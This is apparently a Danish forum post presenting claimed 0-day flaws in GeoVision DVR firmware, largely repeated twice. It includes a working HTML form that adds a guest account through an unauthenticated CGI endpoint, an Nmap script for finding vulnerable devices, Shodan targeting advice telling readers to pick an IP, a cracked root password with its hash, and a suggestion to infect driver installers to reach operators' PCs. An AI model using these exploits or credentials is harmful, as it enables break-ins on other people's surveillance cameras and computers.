18-03-2016, 21:06
Eh... Skulle bare have været et par linjer.... Men når man først kommer i gang med at skrive....
Måske lidt i overkanten, men tag hvad i kan bruge.
Skal nok lige få kigget efter fejl og rettelser.
OBS: Jeg har ikke kunne finde disse sårbarheder på nettet, og vil derfor betegne dem som 0-days. Hvis andet er tilfældet, og i finder dem andetsteds, må i godt lige skrive det så jeg kan tage en kigger.
TL;DR: Søg på "geovision" på Shodan og vælg en IP, brug vGeoGuest.htm til at tilføje en gæstebruger, login med guest/guest i Internet Explorer.
Tænkte jeg lige så godt kunne dele denne, da det ikke decideret var det jeg ledte efter.
Egentlig ledte jeg efter en DoS tilstand, som jeg fandt ved lidt manuel fuzzing i en ældre version af GeoVisions firmware, for godt 2 år siden. Denne fejl kunne jo være en form for overflow, som kunne være spændende at kigge på, da man ved 300+ tegns requests, mister forbindelse til serveren, der herefter ikke kan nås ved brug af ping. Det kunne tyde på at hardwaren eller webserveren crasher eller halter, men betyder stadig ikke at vi har at gøre med en sårbarhed der kan udnyttes til andet end DoS.
Dengang skannede jeg en lang række danske IP'er, og lagde mærke til, at GeoVision havde en koncentreret andel af de fundne overvågningsløsninger, sammen med et par andre mærker fra andre producenter.
Men eftersom de har lidt forskellige firmware-versioner til deres DVRs/NVRs, valgte jeg lige hurtigt at tage et kig på en af deres nyeste, og her fandt jeg et par hurtige fejl, som jeg lige så godt kan dele.
Lige hurtigt om mit setup/miljø:
- Kali 2, som bruges til mere eller mindre det hele. Køres fra USB(2.0! - Langsomt).
- Firmware hentes, og der køres strings, file, hexdump osv. for at fastslå arkitektur, dynamic/static linking osv.
- Binwalk og Firmware Modification Toolkit, til analyse og udpakning af filsystem, bootloader, kernel, webserver og hvad der ellers hører til.
Har dog et problem med FMK i Kali 2, så jeg kan ikke kompilere og køre extract-firmware. Har brugt tid nok på det, så gider ikke mere, så længe uncramfs og unsquashfs stadig virker.
Qemu system og static user sammen med Change root, til at emulere filsystemet og webserveren.
GDB(cross-compiled eller Qemus indbyggede) og IDA Pro eller GDB multi-arch til at debugge. Og nej. jeg fatter ikke hvad jeg kigger på i 90% af tilfældende :P
Men nu er det ikke en vejledning til firmware analyse og sårbarhedsopdagelse, så vi må hellere hoppe videre. Der er massere af engelske vejledninger til lige netop det, men det kan være jeg laver en i fremtiden, hvis jeg finder noget ekstra spændende engang.
Det første jeg lagde mærke til under den grundlæggende undersøgelse, var at den kompilerede, eksekverbare fil UserSetting.cgi, ikke tjekker om vi har autoriseret, og har en tilhørende cookie. Dette kan vi bruge til at oprette/fjerne en gæstebruger, ved hjælp af en simpel form. Gæstebrugeren vil have guest/guest som henholdsvis brugernavn og kodeord. Følgende script kan bruges til dette:
vGeoGuest.htm
Jeg har valgt at bruge Javascript til at håndtere formens action, netop for at undgå, at skulle bruge en server til at køre f. eks. PHP. Dette script skal bare køres i browseren.
Vær opmærksom på, at du skal bruge Internet Explorer for at bruge kameraerne, men kan oprette/fjerne brugere med andre browsere(Har selv brugt Firefox).
Når vi logger ind vil vi få en meget begrænset menu, da det er administratorens, og ikke gæstens opgave at opsætte diverse indstillinger.
Sjovt nok er næste kritiske fejl, at vi ved at indtaste URL'erne på diverse scripts til opsætning, bliver godkendt med vores gæstebruger, og er i stand til at ændre indstillingerne. Eftersom vi har adgang til hele webserveren, har vi også adgang til filnavnene.
Dette firmwares HTM filer:
Søger man på GeoVision på Shodan, dukker der en god portion enheder op.
https://www.shodan.io/search?query=geovision
Google Dorks giver kun en ubetydelig mængde. Hverken Google eller Shodan viser den reelle mængde enheder, så jeg har lavet et lille NSE script til Nmap, som bruger <title> tagget i kildekoden til at finde frem til de sårbare fimwares, samt response-headers til at finde en anden type firmware, som er den type jeg vil kigge på næste gang. De nyere versioner bruger tHTTPd som server-software, hvorimod de ældre versioner bruger GeoHttpServer. Eller måske bruges de til forskelligt hardware? hmm?
Stilen af de forskellige firmwares kan ses i manualer for versionerne 8.12-8.x og de individuelle kameraer og videokort.
vGeo.nse
De to nyere firmwares jeg har testet har haft "GeoVision Inc. - *" i titlen, så det er den string der søges efter. Samt login-formen ser således ud:
De firmwares der bruger GeoHttpServer er desværre ikke sårbare over for ovenstående fejl, og efter hvad jeg kan se i manualerne, skal de konfigureres med en klient på en Windows-computer. Derfor kan det selvfølgelig stadig ske, at der findes andre fejl (mon ikke).
Lidt forskellig klient-software kan findes på nedenstående ftp:
http://ftp.geovision.tw/ftp/Eason/FTP.txt
Lige til sidst, så tillod jeg mig for sjovt at køre passwd-filen en tur igennem John, og uden hverken GPU eller en specielt stor password-liste, lykkedes det John at komme frem til følgende root-password(Ingen brug af shadow):
Det ser ikke ud til at være blevet delt før, og ved en simpel Google-søgning er der heller ikke meget at hente udover Taipei og Taipei 101. Dog ikke noget password-relateret.
Nu har jeg ikke tænkt mig at kigge nærmere på lige netop denne firmware, da jeg for at finde den rigtige version, er nødsaget til at - manuelt(Captcha - kunne måske bruge en solver), udpakke og greppe efter server-software samt en specifikt titel. Det er slet ikke besværligt, men tager sgu lidt tid.
Root-passwordet kan i realiteten bruges til hvis man finder yderligere en sårbarhed, såsom noget command injection, telnet-aktivering, code execution osv. som ikke allerede kører som root.
Et sjovt eksempel ville være at inficere den software der står for installation af de drivers der skal bruges for at håndtere forbindelsen til selve kameraerne.
Herefter kan man tvinge endnu en installation, og få adgang til 'overvågerens' PC. Det er måske lidt overkill, men det er en lidt 'sej' måde at opnå pivoting/lateral movement på.
Måske lidt i overkanten, men tag hvad i kan bruge.
Skal nok lige få kigget efter fejl og rettelser.
OBS: Jeg har ikke kunne finde disse sårbarheder på nettet, og vil derfor betegne dem som 0-days. Hvis andet er tilfældet, og i finder dem andetsteds, må i godt lige skrive det så jeg kan tage en kigger.
TL;DR: Søg på "geovision" på Shodan og vælg en IP, brug vGeoGuest.htm til at tilføje en gæstebruger, login med guest/guest i Internet Explorer.
Tænkte jeg lige så godt kunne dele denne, da det ikke decideret var det jeg ledte efter.
Egentlig ledte jeg efter en DoS tilstand, som jeg fandt ved lidt manuel fuzzing i en ældre version af GeoVisions firmware, for godt 2 år siden. Denne fejl kunne jo være en form for overflow, som kunne være spændende at kigge på, da man ved 300+ tegns requests, mister forbindelse til serveren, der herefter ikke kan nås ved brug af ping. Det kunne tyde på at hardwaren eller webserveren crasher eller halter, men betyder stadig ikke at vi har at gøre med en sårbarhed der kan udnyttes til andet end DoS.
Dengang skannede jeg en lang række danske IP'er, og lagde mærke til, at GeoVision havde en koncentreret andel af de fundne overvågningsløsninger, sammen med et par andre mærker fra andre producenter.
Men eftersom de har lidt forskellige firmware-versioner til deres DVRs/NVRs, valgte jeg lige hurtigt at tage et kig på en af deres nyeste, og her fandt jeg et par hurtige fejl, som jeg lige så godt kan dele.
Lige hurtigt om mit setup/miljø:
- Kali 2, som bruges til mere eller mindre det hele. Køres fra USB(2.0! - Langsomt).
- Firmware hentes, og der køres strings, file, hexdump osv. for at fastslå arkitektur, dynamic/static linking osv.
- Binwalk og Firmware Modification Toolkit, til analyse og udpakning af filsystem, bootloader, kernel, webserver og hvad der ellers hører til.
Har dog et problem med FMK i Kali 2, så jeg kan ikke kompilere og køre extract-firmware. Har brugt tid nok på det, så gider ikke mere, så længe uncramfs og unsquashfs stadig virker.
Qemu system og static user sammen med Change root, til at emulere filsystemet og webserveren.
GDB(cross-compiled eller Qemus indbyggede) og IDA Pro eller GDB multi-arch til at debugge. Og nej. jeg fatter ikke hvad jeg kigger på i 90% af tilfældende :P
Men nu er det ikke en vejledning til firmware analyse og sårbarhedsopdagelse, så vi må hellere hoppe videre. Der er massere af engelske vejledninger til lige netop det, men det kan være jeg laver en i fremtiden, hvis jeg finder noget ekstra spændende engang.
Det første jeg lagde mærke til under den grundlæggende undersøgelse, var at den kompilerede, eksekverbare fil UserSetting.cgi, ikke tjekker om vi har autoriseret, og har en tilhørende cookie. Dette kan vi bruge til at oprette/fjerne en gæstebruger, ved hjælp af en simpel form. Gæstebrugeren vil have guest/guest som henholdsvis brugernavn og kodeord. Følgende script kan bruges til dette:
vGeoGuest.htm
PHP kode:
<!DOCTYPE html>
<html>
<head>
<style type="text/css">
h3 {color: white;}
p {background-color:#eef;}
body {
background-color: #eef;
width:800px;
margin:0 auto;}
.button {
background-color: #bdb;
border: none;
color: white;
padding: 15px 32px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
margin: 4px 2px;
cursor: pointer;
font-weight: bold;}
</style></head><body>
<img src="http://www.geovision.com.tw/english/images/logo.gif" align="center">
<div id="cnt" style="margin:0 auto;width:800px;background-color:#555;text-align:center;border:1px dotted #f0f">
<form id="geo" action="" method="post">
<h3>IP: </h3><input type="text" name="" id="gIP">
<p>Indsæt IP-adressen eller domænet på GeoVision-enheden</p><br />
<h3>Gæstebruger: </h3>
<INPUT type="checkbox" name="bEnableGuestCheck" value="0">
<p>Sæt flueben for at tilføje en gæstebruger. Hvis tjekboksen er tom, fjernes den eksisterende gæstebruger</p><br />
<p></p>
<input id='testNameHidden' type='hidden' value="1" name='IsGuestPress'>
<INPUT name=IsGuestPress type=hidden value=1>
<button class="button" onclick="mHost()">Prøv :/</button>
<script>
function mHost() {
var host = "http://" + document.getElementById("gIP").value + "/UserSetting.cgi";
document.getElementById("geo").action = host;
if(document.getElementById("bEnableGuestCheck").checked) {
document.getElementById('testNameHidden').disabled = true;
}
}
</script></form></body></div></html>
Jeg har valgt at bruge Javascript til at håndtere formens action, netop for at undgå, at skulle bruge en server til at køre f. eks. PHP. Dette script skal bare køres i browseren.
Vær opmærksom på, at du skal bruge Internet Explorer for at bruge kameraerne, men kan oprette/fjerne brugere med andre browsere(Har selv brugt Firefox).
Når vi logger ind vil vi få en meget begrænset menu, da det er administratorens, og ikke gæstens opgave at opsætte diverse indstillinger.
Sjovt nok er næste kritiske fejl, at vi ved at indtaste URL'erne på diverse scripts til opsætning, bliver godkendt med vores gæstebruger, og er i stand til at ændre indstillingerne. Eftersom vi har adgang til hele webserveren, har vi også adgang til filnavnene.
Dette firmwares HTM filer:
Spoiler (Click to View)
F:\www2>dir *.htm
Volume in drive F is KINGSTON
Volume Serial Number is 4C5F-67E4
Directory of F:\www2
03-05-2010 03:34 20.973 2CH.htm
18-09-2009 07:26 3.822 3gppSetting.htm
03-05-2010 03:33 7.294 AdvIo.htm
18-09-2009 07:26 10.290 CenterV2Setting.htm
18-09-2009 07:26 312 CenterV2Status.htm
18-09-2009 07:26 3.337 CfHddSetting.htm
18-09-2009 07:26 54 CurTime.htm
18-09-2009 07:26 14.344 DateSetting.htm
18-09-2009 07:26 8.165 Ddns.htm
18-09-2009 07:26 448 DdnsStatus.htm
18-09-2009 07:26 819 DefaultOk.htm
18-09-2009 07:26 201 DeviceInfo.htm
18-09-2009 07:26 10.162 DiskUtil.htm
18-09-2009 07:26 2.443 EmapSetting.htm
18-09-2009 07:26 17 Empty.htm
18-09-2009 07:26 255 ErrAdmReEntry.htm
18-09-2009 07:26 287 ErrBrowserNotSupported.htm
18-09-2009 07:26 247 ErrGstFull.htm
18-09-2009 07:26 468 ErrNoSuchUsr.htm
18-09-2009 07:26 531 ErrUsrTmOut.htm
18-09-2009 07:26 4.767 FilterSetting.htm
18-09-2009 07:26 404 FmtStatus.htm
18-09-2009 07:26 902 Formatting.htm
18-09-2009 07:26 8.683 FtpSetting.htm
18-09-2009 07:26 2.208 FtpSrv.htm
18-09-2009 07:26 10.222 GISSetting.htm
18-09-2009 07:26 307 GISStatus.htm
18-09-2009 07:26 1.359 HelpNtp.htm
18-09-2009 07:26 3.559 HelpWep.htm
18-09-2009 07:26 3.720 HostSetting.htm
18-09-2009 07:26 203 HttpChgPort.htm
18-09-2009 07:26 1.270 HttpSetting.htm
12-03-2010 08:28 342 index.htm
03-05-2010 03:33 1.496 InitOCXCheck.htm
18-09-2009 07:26 24.161 IoMonitor.htm
18-09-2009 07:26 6.042 IoOutAction.htm
18-09-2009 07:26 23.537 IoSchedule.htm
18-09-2009 07:26 4.925 IoTrigger.htm
18-09-2009 07:26 1.665 IrisAdjusting.htm
18-09-2009 07:26 3.109 iScsiSetting.htm
18-09-2009 07:26 1.150 L3gpp.htm
18-09-2009 07:26 774 LoadDefault.htm
12-03-2016 22:30 5.539 Login.htm
18-09-2009 07:26 1.173 Login3gpp.htm
18-09-2009 07:26 190 Logout.htm
18-09-2009 07:26 1.690 Main.htm
18-09-2009 07:26 2.959 ManualRec.htm
18-09-2009 07:26 10.806 Menu.htm
18-09-2009 07:26 671 MenuHide.htm
18-09-2009 07:26 6.943 MonitorSetting.htm
03-05-2010 03:31 9.212 MotionDetection.htm
18-09-2009 07:26 157 NetChgFix.htm
18-09-2009 07:26 133 NetChgTmp.htm
18-09-2009 07:26 2.176 NetStatus.htm
18-09-2009 07:26 7.365 NetworkSetting.htm
18-09-2009 07:26 4.451 NvrSetting.htm
18-09-2009 07:26 305 NvrStatus.htm
03-05-2010 03:30 7.284 PrivacyMask.htm
03-05-2010 03:29 6.684 PtzSetting.htm
18-09-2009 07:26 940 Rebooting.htm
18-09-2009 07:26 1.759 RecStatus.htm
12-03-2010 08:28 4.040 ReLogin.htm
18-09-2009 07:26 7.006 SmtpSetting.htm
18-09-2009 07:26 1.252 StreamSetting.htm
18-09-2009 07:26 2.782 SysCfg.htm
18-09-2009 07:26 1.423 SysLog.htm
18-09-2009 07:26 836 SysReboot.htm
18-09-2009 07:26 683 TestDhcp.htm
18-09-2009 07:26 687 TestDhcpWire.htm
18-09-2009 07:26 687 TestDhcpWlan.htm
18-09-2009 07:26 1.067 UpnpSetting.htm
18-09-2009 07:26 560 UserPwdErr.htm
18-09-2009 07:26 7.464 UserSetting.htm
03-05-2010 03:28 13.141 VideoServer.htm
18-09-2009 07:26 28.565 VideoSetting.htm
18-09-2009 07:26 2.427 VlsSetting.htm
18-09-2009 07:26 9.061 VsmSetting.htm
18-09-2009 07:26 305 VsmStatus.htm
18-09-2009 07:26 858 WaitNetChg.htm
18-09-2009 07:26 4.476 WeignSetting.htm
18-09-2009 07:26 7.345 Wireless.htm
18-09-2009 07:26 3.093 WlanScan.htm
82 File(s) 357.469 bytes
0 Dir(s) 1.596.698.624 bytes free
F:\www2>
Volume in drive F is KINGSTON
Volume Serial Number is 4C5F-67E4
Directory of F:\www2
03-05-2010 03:34 20.973 2CH.htm
18-09-2009 07:26 3.822 3gppSetting.htm
03-05-2010 03:33 7.294 AdvIo.htm
18-09-2009 07:26 10.290 CenterV2Setting.htm
18-09-2009 07:26 312 CenterV2Status.htm
18-09-2009 07:26 3.337 CfHddSetting.htm
18-09-2009 07:26 54 CurTime.htm
18-09-2009 07:26 14.344 DateSetting.htm
18-09-2009 07:26 8.165 Ddns.htm
18-09-2009 07:26 448 DdnsStatus.htm
18-09-2009 07:26 819 DefaultOk.htm
18-09-2009 07:26 201 DeviceInfo.htm
18-09-2009 07:26 10.162 DiskUtil.htm
18-09-2009 07:26 2.443 EmapSetting.htm
18-09-2009 07:26 17 Empty.htm
18-09-2009 07:26 255 ErrAdmReEntry.htm
18-09-2009 07:26 287 ErrBrowserNotSupported.htm
18-09-2009 07:26 247 ErrGstFull.htm
18-09-2009 07:26 468 ErrNoSuchUsr.htm
18-09-2009 07:26 531 ErrUsrTmOut.htm
18-09-2009 07:26 4.767 FilterSetting.htm
18-09-2009 07:26 404 FmtStatus.htm
18-09-2009 07:26 902 Formatting.htm
18-09-2009 07:26 8.683 FtpSetting.htm
18-09-2009 07:26 2.208 FtpSrv.htm
18-09-2009 07:26 10.222 GISSetting.htm
18-09-2009 07:26 307 GISStatus.htm
18-09-2009 07:26 1.359 HelpNtp.htm
18-09-2009 07:26 3.559 HelpWep.htm
18-09-2009 07:26 3.720 HostSetting.htm
18-09-2009 07:26 203 HttpChgPort.htm
18-09-2009 07:26 1.270 HttpSetting.htm
12-03-2010 08:28 342 index.htm
03-05-2010 03:33 1.496 InitOCXCheck.htm
18-09-2009 07:26 24.161 IoMonitor.htm
18-09-2009 07:26 6.042 IoOutAction.htm
18-09-2009 07:26 23.537 IoSchedule.htm
18-09-2009 07:26 4.925 IoTrigger.htm
18-09-2009 07:26 1.665 IrisAdjusting.htm
18-09-2009 07:26 3.109 iScsiSetting.htm
18-09-2009 07:26 1.150 L3gpp.htm
18-09-2009 07:26 774 LoadDefault.htm
12-03-2016 22:30 5.539 Login.htm
18-09-2009 07:26 1.173 Login3gpp.htm
18-09-2009 07:26 190 Logout.htm
18-09-2009 07:26 1.690 Main.htm
18-09-2009 07:26 2.959 ManualRec.htm
18-09-2009 07:26 10.806 Menu.htm
18-09-2009 07:26 671 MenuHide.htm
18-09-2009 07:26 6.943 MonitorSetting.htm
03-05-2010 03:31 9.212 MotionDetection.htm
18-09-2009 07:26 157 NetChgFix.htm
18-09-2009 07:26 133 NetChgTmp.htm
18-09-2009 07:26 2.176 NetStatus.htm
18-09-2009 07:26 7.365 NetworkSetting.htm
18-09-2009 07:26 4.451 NvrSetting.htm
18-09-2009 07:26 305 NvrStatus.htm
03-05-2010 03:30 7.284 PrivacyMask.htm
03-05-2010 03:29 6.684 PtzSetting.htm
18-09-2009 07:26 940 Rebooting.htm
18-09-2009 07:26 1.759 RecStatus.htm
12-03-2010 08:28 4.040 ReLogin.htm
18-09-2009 07:26 7.006 SmtpSetting.htm
18-09-2009 07:26 1.252 StreamSetting.htm
18-09-2009 07:26 2.782 SysCfg.htm
18-09-2009 07:26 1.423 SysLog.htm
18-09-2009 07:26 836 SysReboot.htm
18-09-2009 07:26 683 TestDhcp.htm
18-09-2009 07:26 687 TestDhcpWire.htm
18-09-2009 07:26 687 TestDhcpWlan.htm
18-09-2009 07:26 1.067 UpnpSetting.htm
18-09-2009 07:26 560 UserPwdErr.htm
18-09-2009 07:26 7.464 UserSetting.htm
03-05-2010 03:28 13.141 VideoServer.htm
18-09-2009 07:26 28.565 VideoSetting.htm
18-09-2009 07:26 2.427 VlsSetting.htm
18-09-2009 07:26 9.061 VsmSetting.htm
18-09-2009 07:26 305 VsmStatus.htm
18-09-2009 07:26 858 WaitNetChg.htm
18-09-2009 07:26 4.476 WeignSetting.htm
18-09-2009 07:26 7.345 Wireless.htm
18-09-2009 07:26 3.093 WlanScan.htm
82 File(s) 357.469 bytes
0 Dir(s) 1.596.698.624 bytes free
F:\www2>
https://www.shodan.io/search?query=geovision
Google Dorks giver kun en ubetydelig mængde. Hverken Google eller Shodan viser den reelle mængde enheder, så jeg har lavet et lille NSE script til Nmap, som bruger <title> tagget i kildekoden til at finde frem til de sårbare fimwares, samt response-headers til at finde en anden type firmware, som er den type jeg vil kigge på næste gang. De nyere versioner bruger tHTTPd som server-software, hvorimod de ældre versioner bruger GeoHttpServer. Eller måske bruges de til forskelligt hardware? hmm?
Stilen af de forskellige firmwares kan ses i manualer for versionerne 8.12-8.x og de individuelle kameraer og videokort.
vGeo.nse
Kode:
-- Head --
description = [[GeoVision DVR FW-FP]]
author = "MXI"
local shortport = require "shortport"
local http = require "http"
local string = require "string"
-- Rule --
portrule = shortport.http
-- Action --
action = function(host, port)
local index = "/index.htm"
local uagent = {header={}}
uagent['header']['User-Agent'] = "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"
local response = http.get(host, port, index, uagent)
if ( response.status == 200 ) then
local title = string.match(response.body, "<[Tt][Ii][Tt][Ll][Ee][^>]*>([^<]*)</[Tt][Ii][Tt][Ll][Ee]>")
if ( title == "GeoVision Inc. - Video Server" ) or ( title ~= "GeoVision Inc." ) then
return "GeoVision DVR: Saarbar?"
end
if ( response.header.server == 'GeoHttpServer' ) then
if ( title == "Login In" ) then
return "GeoVision Webcam"
else
return "GeoVision Server, men ukendt firmware"
end
end
end
end
De to nyere firmwares jeg har testet har haft "GeoVision Inc. - *" i titlen, så det er den string der søges efter. Samt login-formen ser således ud:
De firmwares der bruger GeoHttpServer er desværre ikke sårbare over for ovenstående fejl, og efter hvad jeg kan se i manualerne, skal de konfigureres med en klient på en Windows-computer. Derfor kan det selvfølgelig stadig ske, at der findes andre fejl (mon ikke).
Lidt forskellig klient-software kan findes på nedenstående ftp:
http://ftp.geovision.tw/ftp/Eason/FTP.txt
Lige til sidst, så tillod jeg mig for sjovt at køre passwd-filen en tur igennem John, og uden hverken GPU eller en specielt stor password-liste, lykkedes det John at komme frem til følgende root-password(Ingen brug af shadow):
Citer:Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 XOP 4x2])
Press 'q' or Ctrl-C to abort, almost any other key for status
taipei101 (root)
1g 0:00:00:37 DONE (2016-03-12 21:51) 0.02649g/s 32856p/s 32856c/s 32856C/s taipei101..taiohi1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root:$1$$2CCpv4DCVCwkFXJ56NsuF0:0:0:root:/root:/bin/sh
bin:*:1:1:bin:/bin:/bin/sh
daemon:*:2:2:daemon:/usr/sbin:/bin/sh
sys:*:3:3:sys:/dev:/bin/sh
sync:*:4:100:sync:/bin:/bin/sync
ftp:*:14:50:FTP User:/var/ftp:
apache:x:48:48:Apache:/var/www:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
nobody:*:65534:65534:nobody:/tmp:/bin/sh
guest::65534:65534:guest:/home/guest:/bin/sh
admin:x:500:65535:Linux User,,,:/tmp:/bin/sh
videoserver:x:500:65535:Linux User,,,:/tmp:/bin/sh
Det ser ikke ud til at være blevet delt før, og ved en simpel Google-søgning er der heller ikke meget at hente udover Taipei og Taipei 101. Dog ikke noget password-relateret.
Nu har jeg ikke tænkt mig at kigge nærmere på lige netop denne firmware, da jeg for at finde den rigtige version, er nødsaget til at - manuelt(Captcha - kunne måske bruge en solver), udpakke og greppe efter server-software samt en specifikt titel. Det er slet ikke besværligt, men tager sgu lidt tid.
Root-passwordet kan i realiteten bruges til hvis man finder yderligere en sårbarhed, såsom noget command injection, telnet-aktivering, code execution osv. som ikke allerede kører som root.
Et sjovt eksempel ville være at inficere den software der står for installation af de drivers der skal bruges for at håndtere forbindelsen til selve kameraerne.
Herefter kan man tvinge endnu en installation, og få adgang til 'overvågerens' PC. Det er måske lidt overkill, men det er en lidt 'sej' måde at opnå pivoting/lateral movement på.